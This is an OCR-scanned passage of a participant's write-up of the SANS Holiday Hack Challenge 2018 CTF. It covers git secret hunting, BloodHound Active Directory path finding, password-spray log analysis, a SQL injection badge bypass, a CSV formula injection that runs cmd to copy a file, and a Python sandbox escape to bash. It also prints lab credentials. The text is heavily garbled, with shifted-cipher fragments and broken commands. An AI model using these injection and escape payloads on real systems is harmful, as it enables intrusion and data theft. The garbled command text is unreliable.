e1f@e193d2abaasb:~$% cat fsbin/init
#! /bin/bash

echo "$(date)” >> /home/elf/report.ixt

(nohup sudo -u manager /home/manager/samba-wrapper.sh --verbosity=none --no-check-certificate --ex

raneous-command-argument --do-not-run-as-tyler --accept-sage-advice -a 42 -d"~" --ignore-sw-holid
ay-special --suppress --suppress [/flocalhost/report-upload/ directreindeerflatterystable -U report
-upload 2>/dev/null &)

sudo -E -u manager fusr/bin/python /home/manager/report-check.py 2>/dev/null &

(nohup fusr/sbin/smbd >/dev/null 2>/dev/null & disown)
echo 127.8.8.1 “cat fetc/hostname™ >»> fetc/hosts

sudo -u elf /bin/bash

Great, now we know how the dafe gets appended to report.txt. A NOHUP fo hang up) sudo
command to run the samba-wrapper.sh as manager which also shows an interesting
argument called 7 0 0 mp d b miupload/ @isedtramisediatterystable -U reportv g mp b e U

Challenge 2018 - byrenibbler ﬁm M

CUWUJINITE




Ui bu! mppl t!mjl f! Xvopst f{use Gejshpdiws fof! ajebfafidsxgomsbed U N
try to connect using smbclient.

e1f@899aff462c88:~% smbclient //localhost/report-upload directreindeerflatterystable -U report-upl

\ : The "syslog™ option is deprecated

ain=[WORKGROUP] 0S=[Windows 6.1] Server=[Samba 4.5.12-Debian]
smb: \>

It works! Now it is time to put the report.txt on the samba share.

smb: \> put report.txt report.txt

putting file report.txt as \report.txt (250.5 kb/s) (average 258.5 kb/s)
smb: \»> Terminated

] f@899af482c88:~%

"FFPFFIFFFFFFIFRIDN

5 MOk bk bbbk kekekcke ke NN
..KM; Stall Mucking ,MN..
OMNXNMd . - OMIDCKME .

18NNNNNNNNNNNNNNNGo

#E sE lma

5253888888838

d00000000000000000d .
- BNNNNNNNNNNNNNNNNNG .

. ONNMNNMNNXK
d0000000000
‘coococcocccccecce:”

-Nuxddddddddddddddddddddddddni
H ol of of ol of of of ol of ol ol of o ol o of o o o o o -

ou have found the credentials I just had forgot,
And in doing so you've saved me trouble untold.
oing forward we'll leave behind policies old,
Building separate accounts for each elf in the lot.

-Wunorse Openslae

New [Achievement] Unlocked: Stall Mucking Report!
Click here to see this item in your badge.
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Wle B0 Balc B/ Bale

epository

en digging good ways to find credentials and mentioned 7rufflehog/ ' Jut t ! b!
s git repositories for secrets, digging deep into commit history and
s effective at finding secrets accidentally committed . (9)

New [Hint] Unlocked: Trufflehog Tooll

New [Hint] Unlocked: Trufflehog Talk!
Click here to see this item in your badge.

and now we need to look for the zip file. There are many ways to do this but
1 mj dj uzt WindowslExplorerxDbwnlbad bri@horie the project from
sitLab repository. (Extract the contents locally if necessary)

@ santas_castle_automation-master.zip - WinRAR (evaluation copy)

File Commands Tools Faverites Options Help

FNW YWD

Add Extract To  Test View Delete Find Wizard Info

W 4

VirusScan Comment SEX

m |§ santas_castle_automation-master.zip\santas_castle_automation-master - ZIP archive, unpacked size 4,609,337 bytes -

MName Size Packed Type dd043fbebScchb7faddcecdBbeeaTe999b52al1653

1 v
ascii-art File folder
assets File folder
castle_command_center File folder
<33 File folder
mongodb File folder
schematics File folder
support_files File folder
sysctl File folder
tests File folder

@ Drone.png 120,295 117,803 PMNG File

@ install.gif 145,021 140,028 GIF File

D LICENSE 104 98 File

D README.md 417 2,043 MD File

£ >

=L Total 9 folders and 273,591 bytes in 4 files

he zipfileusing T +/.{ j q U

il
File Home Share View Search Extract 0

! Current folder a r"-DType @ {f‘ Recent searches = x
All subfolders g Size v D Advanced options ~ f

This = Date Open file Close
pCc o« Searchagainin~  modified = Q Other properties ~ H Save search location search

Location Refine Options
<« v 4 [l » Search Results in santas_castle_automation-master w x

7 Quick access @ ventilation_diagram.zip Date modified: 12/12/2018 7:54 AM
Ch\Users\steph'\Desktop\santas_castle_automation-...  Type WinRAR ZIP arc...  Size: 723 KB

9 = | Search Tools  Compressed Folder Tools  *.Zip - Search Results in santas_castle_automation-master — [m} *

f@ OneDrive

[ This PC
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C:\Python27\truffleHog-devitruffleHog>truffleHog.py --regex --entropy=True https://git.kringlecastle.com/Upatree/santas
castle_automation.git

g
1 2018-12-11 ©8:25:45E[8m

E[92mHash: 7f46bd5f88ded5acofe8efSebebb7c52cfa67442E]8m
B[92mFilepath: schematics/for_elf_eyes_only.mdE[8m
E[92mBranch: origin/master@[6m
E[292mCommit: removing fileBE[8m
0@ -0,8 +1,15 @@
+0ur Lead InfoSec Engineer Bushy Evergreen has been noticing an increase of brute force attacks in our logs. Furthermore
, Albaster discovered and published a vulnerability with our password length at the last Hacker Conference.
+
+Bushy directed our elves to change the password used to lock down our sensitive files to something stronger. Good thing
he caught it before those dastardly wvillians did!
+
+
+Hopefully this is the last time we have to change our password again until next Christmas.

+Password = "Yippee-ki-yay’

+ L

+

+Change ID = 'B[93m9ed54617547cfca783e8f81F8dc5c927e3dle3E[Em"

I The latest entry using high entropy returned a change request to
strengthen the password. Good thing 7rufflehog managed to sniff it out.

New [Achievement] Unlocked: Data Repo Analysis!
Click here to see this item in your badge.

New [Narrative] Unlocked: |

New [Narrative] Unlocked: |
Click here to see this item in your badge.

Note: Double unlock! See Appendix A for full Narrative

Check out Appendix D for the contents
of the zip file
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Objective 5. Ad Privilege Discovey

Difficulty: A3 <

Using the data set contained in this SANS Slingshot Linux imags, find a reliable path from a
Kerberoastable user to the Domain Admj ot ! hspvg/ ! Xi butt!uiflvtfstt!)
username@domain.tld format)? Remember to avoid RDP as a control path as it depends on

separate local privilege escalation flaws. For hints on achieving this objective, please visit

Holly Evergreen and help her wih the CURLing MasterCranberry Pi terminal challenge

... Download and load the SANS Slingshot Linux virtual machine and launch the image.

W Applications.

Trash

Nein! Nein! Nein!

File System

No one is coming to

help you.
|

Home

o find a reliable and the shortest path for a Kerberoastable user to the
group. Maybe Holly Evergreencan shed some light to this task. She is
est wing. Take a left from the main hall just past the Googlebooth.

Oh, that Bushy!

Sorry to vent, but that brother of mine did
something strange.

The trigger to restart the Candy Striper is
apparently an arcane HTTP call or 2

New [Hint] Unlocked: HTTP/2.0 Basics!

Click here to see this item in your badge.
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https://download.holidayhackchallenge.com/HHC2018-DomainHack_2018-12-19.ova

oS0 D

Cranberry Pi Challenge2 CURLiIng Master

I am Holly Evergreen, and now you won't believe:

Once again the striper stopped; I think I might just leave!
Bushy set it up to start upon a website call.

Darned if I can CURL it on - my Linux skills apall.

ould you be our CURLing master - fixing up this mess? Easter Egg:
If you are, there's one concern you surely must address. )
Something's off about the conf that Bushy put in place. Check out Appe”dv( E for

an you overcome this snag and save us all some face? some funny bash history

Complete this challenge by submitting the right HTTP
request to the server at http://localhost:8888/ to
get the candy striper started again. You may view
the contents of the nginx.conf file in
Jetc/nginx/, if helpful.

0 1f@c74909b421b5 : ~$

S
The challenge is to start the Candy Striper daemon using CURL Doing a quick check, we
can see that curl returns encrypted traffic, possibly Aftp2 but it is not using 7LS/SSL

e] f@2eeb2384béfd:~% curl hittp://localhost:8886/index.php
00 0O ¢00¢¢e¢eclf@2eeb2384bafd:~3

=1f@2eeb2304befd: ~%

Challenge 2018 - bytenibbler Fﬁ E
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The niginx.conf confirms our suspicion.

server {
# love using the new stuff! -Bushy
listen 2080 http2;

# server_name localhost 127.8.8.1;
root fvar/wmw/html;

Mf ut t ! d iy & &b maaysékhow it handles Atip2 traffic. (10)

clf@aaeds5da3ba7e:~$% curl --help | grep http2
--http2 Use HTTP 2 (H)

--http2-prior-knowledge Use HTTP 2 without HTTP/1.1 Upgrade (H)
el f@aaedSda3@aie:~$

From the previous command we know that http2 is being used in an unencrypted channel. It

is therefore possible to get a connection preface by using the flag @2htto2-prior+ o p x mf e h f U
s ]l f@aaed5da38ale:~% curl --http2-prior-knowledge http://localhost:8888/
<html>
<head>
<title>Candy Striper Turner-On‘er</title>
</head>
<body>
<p>To turn the machine on, simply POST to this URL with parameter "status=on”

Nice, we get an unencrypted response from the sewer and it is asking us to POSTwith the
parameter 7 t v b u wotget the CAndy Striper running.Add -XPOSTe /! Tt ubuvt >po U

<title»Candy Striper Turner-On'er</title>

</head>

<body>

<p>To turn the machine on, simply POST to this URL with parameter “status=on™

okkd,
DMK,
0XXXXXXo
3 2000005
3 KOOO00K

oXO000COXK0
= LEOOO00ON8 .
® ok KOO0 cooddool,

OO0 OO0 -
SOOI KKKEK d;
BXOO0COO0COC00M KKKKBx .
SCOOCOOCOOOOOOC - 0OOCOOOOO0 :
BCOOCOOCCOCKK Be
SO0 SOOOCOOEX0 .
ROOOOOOOO KX KEOOO000k -
‘coeeec cccece - CEXOOO0O00OK c
3 XEOCCOOOOE  KOOOOOOCOMK .
--sxccll ccc: "

encrypted 2.82 He's such a silly puy.
at's the kind of stunt that makes my OWASP friends all cry.
ruth be told: most major sites are speaking 2.8;

LS connections are in place when they do so. New [AChlevement] Un|0Cked CURIJng Masterl
-Holly Evergreen Click here to see this item in your badgg

<p>Congratulations! You've won and have successfully completed this challenge.

Challenge 2018 - bytenibbler SAN.S ﬁﬁ
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PO SO NS

Bloodhound Slingshot

Asking about Domain Admins, Holly Evergreen revealed] Cmp p e ja pniffiogetddl that
can find paths to reaching privileged machines. (11)

New [Hint] Unlocked: Bloodhound Tooll

New [Hint] Unlocked: Bloodhound Demol
Click here to see this item in your badge.

BLOODHOUND

Firing up the Slingshot Linux Image we notice that Bloodhound is already installed and

available on the Desktop. The requirement is to find the shortest path to a domain admin.

Fortunately there is a Pre-Built Analytics Querytofindthe T T/ psuft u! Qbui t ! up! Epn
gspn! Lfscfspbtubecmf! Vtfst U

" BloodHound

Find all Domain Admins

Find Shortest Paths to Domain Admins

Find Principals with DCSync Rights

Users with Foreign Domain Group Membership

Groups with Foreign Domain Group Membership

Map Domain Trusts Ce HasSession ® CanRDP HasSession
Shortest Paths to Unconstrained Delegation Systems p— L] E— gy E— ]

Shortest Paths from Kerberoastable Users

Shortest Paths to Domain Admins from Kerberoastable Users

® ExecuteDCOM HasSession . MemberOf ...
(] Q ".@

00089@AD.KRIMEDE0AS T KME TEERST2 TOEDAD. KRINGLECASTLE.COMDUBEJ00320 @AD. KRINGDEEASTIADIMIMGL %gcom DOMAIN @AD.KRINGLEC
Has.essmn

o ——

COMPQB! .AD,KWEE&&QW_E@WKRINGLECASTLE-COM
P
® CanRDP ;l HasSession ® MemberOf Y +
S = aa '
©

RLOEFFELHOLZ00451 @ATKRINGDEGHATLENIEMWBELSTAZETDMD. K RIN GUREAGTAE KRIMGLECASTLE.COM

The query returned a bunch of nodes with potential paths to the Domain Admins.J ut t ! b! mpu!
information but maybe we can still filter the query out some more.

Challenge 2018 - bytenibbler . @
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The requirements also mentioned to avoid going through RDP sessionsas it depends on a
different privilege escalation flow . Our initial query indicated nodes labelled 7 D b o0 SIEQ U
us try to exclude RDP sessionsusing Cmp p e / ptandaedffilters .

Find all Domain Admins

Find Shortest Paths to Domain Admins

Find Principals with DCSync Rights

Users with Foreign Domain Group Membership

Groups with Foreign Domain Group Membership

Map Domain Trusts

Shortest Paths to Unconstrained Delegation Systems
Shortest Paths from Kerberoastable Users

Shortest Paths to Domain Admins from Kerberoastable Users

BloodHound

Edge Filtering @
Default Edges

mMember0f
mHasSession
mAdminTo

ACL Edges
mAllExtendedRights
mEAddMember

mForceChangePassword

@ GenericAll
EGenericWrite
m@Oowns

B WriteDacl
m@WriteOwner
mReadLAPSPassword

Containers

mContains

m@GpLink

Snecial
mCanRDP
mExecuteDCOM
mAllowedToDelegate

Amazing, who can expect that a regular user like:

» L
282

IT_00332@AD.KRINGLECASTLE.COM

PO
‘g

DOMAIN ADMINS@AD.KRINGLECASTLE.COM
&

JBETAKO0084@AD.KRINGLECASTLE.COM

o
4°
g
&
o

J

COMPO00185.AD.KRINGLECASTLE.COM

has the potential to laterally move to the Domain Admins group.

Good Digital Dog!

User Info

Name LDUBEJOO320@AD.KRINGLECASTLE.COM
Display Name Leanne Dubej
Password Last Changed Never
Last Logon Never
Enabled True
Compromised False
Sessions

Sibling Objects in the Same OU

Reachable High Value Targets

Effective Inbound GPOs

New [Achievement] Unlocked: AD Privilege Discoveryl

Click here to see this item in your badge.
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New [Narrative] Unlocked: |

New [Narrative] Unlocked: !
Click here to see this item in your badge.

Note.: Double unlock! See Appendix A for full Narrative

A

‘NOW | HAVE A ZERO-DAY.
HO-HO-HO.*
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Objective 6. Badge Manipulation
Difficulty: Y Y Y v 50

Bypass the authentication mechanism associated with the room near Pepper Minstix. A
Sopie cmplovee badge s avallable. What is the access control number revealed by
the coor authentication panel ? For hints on achieving this objective, please visit Pepper
Minstix and help her with the Yule Log Analysis Cranberry Pi terminal challenge.

oe =

Badge Scan-O-Matic 4000

cbt uf st t ScarkOMatic seemsttotb¢ an fo¢k dawh barring users
from entering the restricted area. The biometric panel does not work and the only thing it
accepts is a QR code. We will need PeppemMinstix to give us a technical idea about the
device. Head upstairs and go past the Speaker Unpreparedness Room. You will see Pepper
just around the corner by the narrow staircase.

Hi, I'm Pepper Minstix.

Have you heard of password spraying? It seems
we've been victim.

We fear that they were successful in accessing
one of our EIf Web Access accounts, but we abn't
know which one.

New [Hint] Unlocked: Password Spraying!
Click here to see this item in your badge.
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https://www.holidayhackchallenge.com/2018/challenges/alabaster_badge.jpg
https://www.holidayhackchallenge.com/2018/challenges/alabaster_badge.jpg
https://scanomatic.kringlecastle.com/index.html

NO@ VOO SOT ™y O

Cranberry Pi Ghallenge 2 Yule Log Analysis

I am Pepper Minstix, and I'm looking for your help.

Bad guys have us tangled up in pepperminty kelp!

“Password spraying™ is to blame for this our grinchly fate.
Should we blame our password policies which users hate?

ere you'll find a web log filled with failure and success.
One successful login there reguires your redress.

an you help us figure out which user was attacked?

ell us who fell victim, and please handle this with tact...

Submit the compromised webmail username to
runtoanswer to complete this challenge.
e]1f@38988b96bad7 : ~F

Pepper feels that they have been a target of Password Sprayingand wants you to figure out
who is the victim of this attack. Password Spraying is a method of trying a list of predefined
user accounts coupled with known weak passwords. (7.e. ChangeMe, LetMeln, Spring20189,
Password123, etc.) It is like a brute force attack, but it also acts as a means of enumerating
valid credentials.

The terminal provides us with an 7/ f fe(Witliows Event Logs) that contains successful
and failed login attempts. It also has a parser to open and dump the evtx file.

Challenge 2018 - byrenibbler f?ﬁ
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Firstly, let us convert the evtx file to something more human readable using like an XML file
using the python script 7f wuy " ewvngqg/ gz U
o1 f@11d7dacbh7b38:~% evix dump.py ho-ho-no.evix > file.xml
o1f@41d7dacb7b38: ~$

Unfortunately, the XML file placed each tag in a new line, so using grep would only return
the line that matches our patterns and will not contain the entire event section.

Event xmlns="http://schemas.microsoft.com/win/2684/08/events/event”>¢System><Provider Name="Micro
soft-Windows-Security-Auditing™ Guid="{54849625-5478-4994-a5ba-3e3b8328c38d}"></Provider>

EventID Qualifiers=""3>4826</EventID>

Version»8</Version>

Level>@</Level>

Task>13573</Task>

Opcode>8</0Opcode>

Keywords >8x80260000000008008< /Keywords >

TimeCreated SystemTime="2818-89-18 12:19:06.246397"></TimeCreated>

EventRecordID>»>231714</EventRecordID>

Correlation ActivityID="" RelatedActivityID=""></Correlation>

Execution ProcessID="4" ThreadID="124"></Execution>

Channel>»Security</Channel>

We will then need to make each Eventappear as oneline for grepto return the metadata.
Thecomnboe! TusU!jt! bl xbz!upl!lusbotmbuf!ps!trvff{f!
means we can convert each new fineto a space, so everything becomes one flat string. We

can then use [ t ftetrfm down the extra spaces and then also use it to separate all the

data between = Fwf o v ? Z 1o Rewfireyu ?

e1f@41d7dach7b38:~% tr "\n" " ' < file.xml | sed “s/>[ \t]*</><fg" | sed “sf<\/Event><Event xmlns=
“http:\/\/schemas.microsoft.com\/win\/2884\/08\/events\/event™>/<\/Event>\n<Event>/g’ > newfile.tx

01f@41d7dacb7b38:~$

Now that we have the Eventsin their own line we can use grep to look for the entries we
seek to identify Password Spraying. Let us begin by enumerating the /P addresseswith the

Event ID 4625 (failed bgin attempts) and the User IDs

o 1f@41d7dacb7b38:~% grep 4625 newfile.txt | awk "{print $32}" | cut -d ">»" -2 | cut -d "¢ -f1
8.158.218.218
_31.754.101 el{ﬂf4f6de9452f85n$ grep 4625 newfile.txt | grep "172.31.254.101" | awk “{print $17}" | cut -d ">’
31.2%4.101 -2 | cut -d “<¢" -1
test.user
=2l Al aaron.smith
-31.254.101  aphichek. kumar
-31.254.181  3dam.smith
.31.254.181 ahmed.ali
.31.254.101 ahmed.hassan
.31.254.181 ahmed.mohamed
-31.254.1e1 ajay.kumar
.31.254.181 alex.smith
.31.254.191 ali.khan

31.754_101 ali.raza
= = amanda.smith

We can see a lot of failed attempts coming from 172.31.254.101. This could be the ' -
originating Source /P addressof our Password Sprayer.

Challenge 2018 - bytenibbler SAN.S ﬁm
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Now that we have some lead, let us apply additional /indlicators to confirm if the Password
Sprayer obtained user accounts from the North Pole. In checking the Windows Event Logs,
the SubStatus="0xc000006a"indicates that a user exists but entered the wrong password.

ol f@fafode0ds2f8:~% grep 4625 newfile.txt | grep "172.31.254.101" | grep "exco0@edca” | awk “{prin

" | cut -d >" 2 | cut -d <" -f1

pepper.minstix
‘shinny.upatree
sparkle.redberry
‘sugerplum.mary
wunorse.openslae
o1 f@fAfede0d52f3:~$

Uh-oh! This confirms the Password Sprayingattack. With our indicators, we can now check
the log file if there were Event ID 4624 (successful login attempts).

o 1f@f4f0de0ss2£8:~$ grep "4624" newfile.txt | grep "172.31.254.101" | cut -d ">~ —f44 |cut -d "<~
f1

inty.candycane

‘ inty.candycane
lelf@fafedesas2fs:~§

Two successful logins from Minty coming from 172.31.254.101.

-1f§@h#hﬁéb4§2f8:n$ . fruntoanswer
Loading, please wait......

ose account was successfully accessed by the attacker's password spray? minty.candycane

Check out Appendix F
for an alternative way to
solve this challenge

New [Achievement] Unlocked: Yule Log Analysis!
Click here to see this item in your badge.
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Badge-Scan-O-Matic

Pepper noticed that the badge-scan-o-matic has been spewing out SQL database errors
after with special characters that can lead to an Auth Bypassvulnerability. (12)

New [Hint] Unlocked: SQL Injection!

New [Hint] Unlocked: Barcode Creation!
Click here to see this item in your badge.

Mfutt!tff!jg! xf! dwithoa SQL /njeconl(b @ é /| RS B2} thes @Rrade
using the barcode generator.

MARIADB SERVER VERSION HDRYNEARIGO USE NEAR "OR 1" LIM HEEESEE

With that error message we realize that the QR code is used as theU/Dand we managed to
break the syntax with an unclosed quote. By using the OWASP Auth Bypassnethod and a
SQL validator, we can create aur injection that will satisfy the conditions and not cause an
error. Note: Make sure to havean] BV Ul PSBPDE EUF OBV F E U

SELECT
FIRST_NAME,
LAST_NAME,
ENABLED or 1--or 1 AND ENABLED =
FROM
EMPLOYEES
WHERE
AUTHORIZED = 1
AND UID = or 1-- -
or 1
AND ENABLED = 1
AND '1"or 1 or"

AND 1%r 1 or Static QR Code

_____

USER ACCESS GRACONDROL NRVMEBO

0 Answer to Objective:
USER ACCESS GRANTED - CON \

®-0 =B

Badge $can-O-Matic 4000

New [Achievement] Unlocked: Badge Manipulation!
Click here to see this item in your badge.
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New [Narrative] Unlocked: |
Click here to see this item in your badge.

Note: See Appendk A for full Narrative

Tp-!zpviwfl!lgjeysfftel mpw! ba
those prisoners.

The toy soldiers and | are here to steal the contents of
Tboubytt! wbvmu"”

You think that after all my posturing, all my little
tqgffdift-!uibu!/Jdtn!opuij

But, | tell you--1 am an exceptional thief.

And since /'ve moved up to kidnapping all of you, you
should be more polite!

New [Achievement] Unlocked: Santa's Secret Room!
Click here to see this item in your badge.

Check out Appendix D to use the
ventilation diagram fo get inside
Thoubtt! Tfdsfu
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Objective 7. HR Incident Response
Difficulty: Y Y Y 5o

Santa uses an Elf Resources website to look for talented information security
professionals. < ain access to the website and fetch the

document C:\candidate evaluation.docx. Which terrorist organization is secretly supported
by the job applicant whose name begins with "K"? For hints on achieving this objective,

5it Sparkile Redberry and help hemwith the Dev Ops FailCranberry Pi terminal

Ui fl dbsffst!qgbhflpg!LlLsjohmfDpo!ibt!lb!vojrvfl!xbz
Maybe Sparkle Redberrynas part of the development team and can give us an insight on

how to view the candidate_evaluation.docx. Go back to the KringleConspeaker area and

head to the corner landing past 7 U s b dblfidd Bigérkle Redberry.

Ugh, can you believe that EIf Resources is poking
around? Something about sensitive info in my git repo.

I mean, | may have uploaded something sensitive
earlier, but it's no big deal. | overwrote it!

New [Hint] Unlocked: Finding Passwords in Gitl

New [Hint] Unlocked: Git Cheat Sheetl
Click here to see this item in your badge.
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https://careers.kringlecastle.com/

.8.
. 110XK11c.
 OOOCKK
‘el coc

oalbox again, and I've got one more ask.
parkle Q. Redberry has fumbled a task.

it pull and merging, she did all the day;
ith all this gitting, some creds got away.

rging - I scolded, "Don't put creds in git!"
he said, "Don't worry - you're having a fit.
If I did drop them then surely I could,

pload some new code done up as one should.”™

hough I would like to believe this here elf,
I'm worried we've put some creds on a shelf.
Any who's curious might find our “oops,”
Please find it fast before some other snoops!

Find Sparkle’s password, then run the runtoanswer tool.
elf@dd15aa663387:~%

Tangle Coalboxis on a roll and this time he is investigating Sparkle Redberryfor uploading
sensitive information in Git. Sparkle is almost certain the she has overwritten the files and
poses no threat. However, publicly exposed .git can be a target to gain access to your
sourcecode. (13)
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We know that Sparkle is using Git for a certain project called kcconfmgmt . Time to look for

a .git and then enumerate the commit logs of the project.

elff@bbbeac99e35e:

elf

root

elf
elf
elf
elf
elf

T

elffibbbeac99e35e

~% 1s -la

elf

4896 Dec
4896 Dec

root

elf
elf
elf
elf

elf 5944352 Dec
35e:~% 1s -la kcconfmgmt/

elf
elf
elf
elf
elf

4896
4896
4896

66
1874

elf 31083

elf
elf
elf
elf
elf

. .s

537
4896
4896
4896
4896

Difdljoh!uif! mpht 2
elfi@cgodfe84blcs :~/kcconfmgmt$ pgit log

14
14

226 May 15

1836 Dec

14

675 May 15
4096 Nov 14

Nowv
Dec
Nov
Nowv
Nowv
Nov
Nowv
Nowv
Nowv
Nowv
Nowv

14
14
14
1
3
14
14
2
2
14
2

14
89
16
89
15:
208:
89
89
15

15:
89:
15:

16:38 .

16:38 ..

2817 .bash_logout
16:13 .bashrc
2817 .profile
89:48 kcconfmgmt
16:13 runtoanswer

.git

README . md

app.js
package-lock.json
package.json
public

routes

server

views

We find an interesting entry around the 8" of November.

commit 68a2ffea7528ee080a5fc60177fF4de6

33f2516b

hor: Sparkle Redberry <sredberry@kringlecon.com>

Date: Thu Nov 8 21:11:83 2818 -8586

Per @tcoalbox admonishment, removed username/password from config.js, default settings in conf

ig.js.def need to be updated before use

commit b2376f4a93cal889ba7d947c2d14beSasd138862
hor: Sparkle Redberry <sredberry@kringlecon.com>

Date: Thu Nov 8 13:25:32 20818 -8588

Add passport module

commit d929d465d5b9711d51d7bA55584at2b417 ;
Author: Sparkle Redberry <5r‘edherr‘yﬂkr'1ng1ecun.cum>
Date: Wed Nov 7 16:57:41 2018 -8560

Correct typos, runs now! Change port for MongoDB connection

From the logs we see that commit 60aZffea7520ee980a5fc60177ff4d063312516b indicates
that Sparkle removed the username/password on the configjsgj mf ! bt ! qf s! Ub o h mf ¢
This would mean that the commit prior to that would have an unaltered version of the fil e.
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Do SOT ™D

Using commit b2376f4a93cal889ba7d947c2d14be9a5d138802, we can investigate further
and look at the state of config.js during that time with the help of 7 hj &g/j drtf W/

e:nfkcconfmgmt$ git cat-file -p b2376f4a93cal889ba7d947c2d14be9asd138882
reg 36bd8353?5dBdQB!foB2feB3baB3aZ?1‘F?13Bae

parent d99d465d5b9711d51d7bA55584at2bA17688c267

author Sparkle Redberry <sredberry@kringlecon.com> 1541781532 -8588

ommitter Sparkle Redberry <sredberrygkringlecon.com> 1541781532 -8588

Add passport module
: e:fkcconfmgmt$ git cat-file -p 36bd8a6376d8doB2f8f082fed3baB3a271f7138ae
bloh- 1964969481b16e8fdbad56a2c9f69127dedfcBde README _md
blob 62dff8dé3aeddb3cfc3ellded315193fcfeaficd app-Jjs
blob 8551bdf{8ae2a58146c365be2bbd4d891d7b7b2a package-lock.json
blob See63be@99e43a3afddc89b482eefclabbbasfa7 package.json
98 tree c72223c273139488f6b4allceZ2ccl6532d98c811 public
8 tree bdaecabed697a59778cc75bf219det0cb8b57384 routes
B tree b97dabde®f32cf61779136299704b7c6242318af server
tree 7164fa6b47413c8457beed65792a89d41b316b24 vieuws
a:rfkcconfmgmt$ git cat-file -p bo97dabde8f32cf6f779136299794b7c6242318af
5043aed7{ fbf4b28a7680038116633Hfbldd16a7 config
57d98329de35489d68cdecd7ct616d14852b84+ models
6cf1d4719c7cdf3e3671331cf6lal77a8ef2eled routes
71641abb47413c8457beed65792a89d4fb318b24 vieuws
~fkcconfmgmt$ git cat-file -p 594aaed7{fbf4b28a76890308116633ffbldd16a7
e2608+66bob0abaZ2beaa?2c12dd3+@aélbdab config.js
e:~f kccontmgmt$ git cat-file -p 25be26981+66b0b0aBa2beaa22c12ddof@as1bd8b
[/ Database URL
odule.exports = {
‘url® : 'mongodb://sredberry:twinkletwinkletwinkle{127.8.8.1:27817/node-api”

e zraf kcconfmgmt$

Enter Sparkle Redberry's password: twinkletwinkletwinkle

is ain"t "I told you so” time, but it's true:
I shake my head at the goofs we go through.
Everyone knows that the gits aren't the place;
Store your credentials in some safer space.

ongratulations!

New [Achievement] Unlocked: Dev Ops Faill
Click here to see this item in your badge.
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Elf InfoSec Career

Ashamed that her password was still publicly exposed, Sparkle tries to get back at Tangle
with another challenging scenario. The employee import system seems to be flawed. It
accepts CSV filesthat could be vulnerable to a known Formula Injection exploit. (14)

New [Hint] Unlocked: OWASP on CSV Injection!
Click here to see this item in your badge.

New [Hint] Unlocked: CSV Injection Talk!
Click here to see this item in your badge.

Let us submit a test application to get more details.

Thank you for taking the time to upload your
information to our elf resources shared
workshop station! Our elf resources will review
your CSV work history within the next few
minutes to see if you qualify to join our elite
team of InfoSec Elves. If you are accepted, you
will be added to our secret list of potential
new elf hires located in
C:\candidate_evaluation.docx

l nnZ! mppl t! mj Il f! pvs! bqgq mjcahildate pvalliaton.doox! Maybé up! b! gj
we can download a copy straight from the web browser.

ps://careers.kringlecastle.com

LOLERBOR!

P[]Hicly ;1.,'((\”&1“( ["1[( ﬂu\'ul [Vﬂ’t"i

C:\careerpertal\reseurces\public\ net, found......

Try:
https://careers kringJecastle.com/public/file name you are Jooking for'
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A custom 404 Error, this is promising. It tells us that publicly accessible files are served on
C.careerportal resources| publicl and can be downloaded by a publicly available URL
https://careers.kringlecastle.com/public . Our target document is in the main directory Ci,
we can therefore craft a CSV formula injection copying the docx file on to the public folder.

=cmd//C copy "C:candidate evaluation.docx" "Cicareerportall resources|public| candid.docx"'A1

Microsoft Excel *

Remote data not accessible.

To access this data Excel needs to start another application. Some legitimate applications on your computer could be used maliciously to spread viruses or damage your computer, Only click Yes if you trust the source of
this workbook and you want to let the workbook start the application.

Start application "CMD.EXE'?

tes

Testing the formula injection in Microsoft Excel shows that the formula will invoke a
[ DN E/ BnH Wwillitopy the file to the public directory with the name candid.docx.

careers.kringlecastle.com

@B candid.docx \ Show all | X

Hsf bu!ju! xpslfe"!Opx!mfutt!tff!xijdi!fdfd&Espsjtul!

belongs to.
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Krampus is affiliated with the terrorist group.

Candidate Name: Krampus

ns for positional placement and access

s a guide to evaluai

ng to the applicant’s level of qualification

cor
Rating Scale: 5. Outstanding 2. Below Average—Does not meet
4. Excellent-exceeds requirements requirements
3. Competent—acceptable 1. Unable to determine or not applicable to
proficiency this candidate
| Rating
I 4 | 3 | 2 1
Relevant Background/Special Skill Set: Explore the 2
candidate’s knowledge and past working experiences in InfoSec
1

Organizational Fit:
Review the candidates’ potential to fit in Santa’s Castle.

Overall Evaluation:

Please add appropriate comments below

Click here to see this item in your badge.

New [Narrative] Unlocked: |
New [Narrative] Unlocked: |

New [Narrative] Unlocked: |
Click here to see this item in your badge.

Note: Triple unlock! See Appendix A for full Narrative
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Objective 8. Network Traffic Forensics

Difuty: Sk A K

Santa has introduced a web-based packet capture and analysis tool to support the elves

and their information security work. Using the system, access and decrypt HTTP/2 network
activity. What is the name of the song described in the document sent from Holly Evergreen
to Alabaster Snowball? For hints on achieving this objective, please visit SugarPlum Mary and

to see if we can decrypt their HTTP/2 traffic. This looks like a might feat if we do not have
keys so let us visit SugarPlum Maryfor some tips. She is nearby Sparkle Redberryat the

corner landing past the KringleConspeaker area.

I'm glad you're here; my terminal is trapped inside a
python! Or maybe my python is trapped inside a
terminal?

Can you please help me by escaping from the Python
interpreter?

New [Hint] Unlocked: Python Escapel
Click here to see this item in your badge.
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https://packalyzer.kringlecastle.com/

oS0 D

Cranberry Pi Chalenge 2 Dev Ops Fall

-SugarPlum Mary

To complete this challenge, escape Python
and run ./i_escaped
>>>

SugarPlum is in kind of a pickle. She could not escape from this Python terminal. Trying
exit(), Ctrl-Z or Ctrl-Dcrashes too. So,she wonders what else can we do. Escaping Python
Shells is an art of manipulating string commands to execute other resources. (15)

Let us look closer and find out which command is not being blocked.

import

of the command import is prohibited for this question.
exec

of the command exec is prohibited for this question.
compile

of the command compile is prohibited for this question.
eval

<built-in function eval>

3>

In this challenge, the command eva/is not blocked and therefore can be used as a pivot to
execute another Python or system command.
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Now create a variable kc (for KringleCon) that will get and run the eva/method. The eva/)
can parse and run python expressions which is passed as an argument or as a parameter.
In this case we can supply © ~ j n g p s ahat wjll (Ejarh tb*top -level OS module. The OS
module in Python provides a way of using operating system functionality. Writing it in code
would mean:/ d/ >/ f wbm) | ~ Hpwe\epwewalSo kpof that U resérved word
import is being prohibited thus we can go around this by splitting it in two strings. So, our
eval method would look something like this.

»»>» ke = eval("_imp" + "ort__("os")")

22>

Great! Nogenerated errors. Now let us use a system command to get a bash shell.

»»> kc.system("bash™)
e1H@3292b67th5de : %

Excellent we just escaped the Python prompt with a new bash shell and can now complete
the challenge by running /_escaped

e1f@3292b67fbSde:~% ./i_escaped
Loading, please wait

-SugarPlum Mary

You escaped! Congratulations!

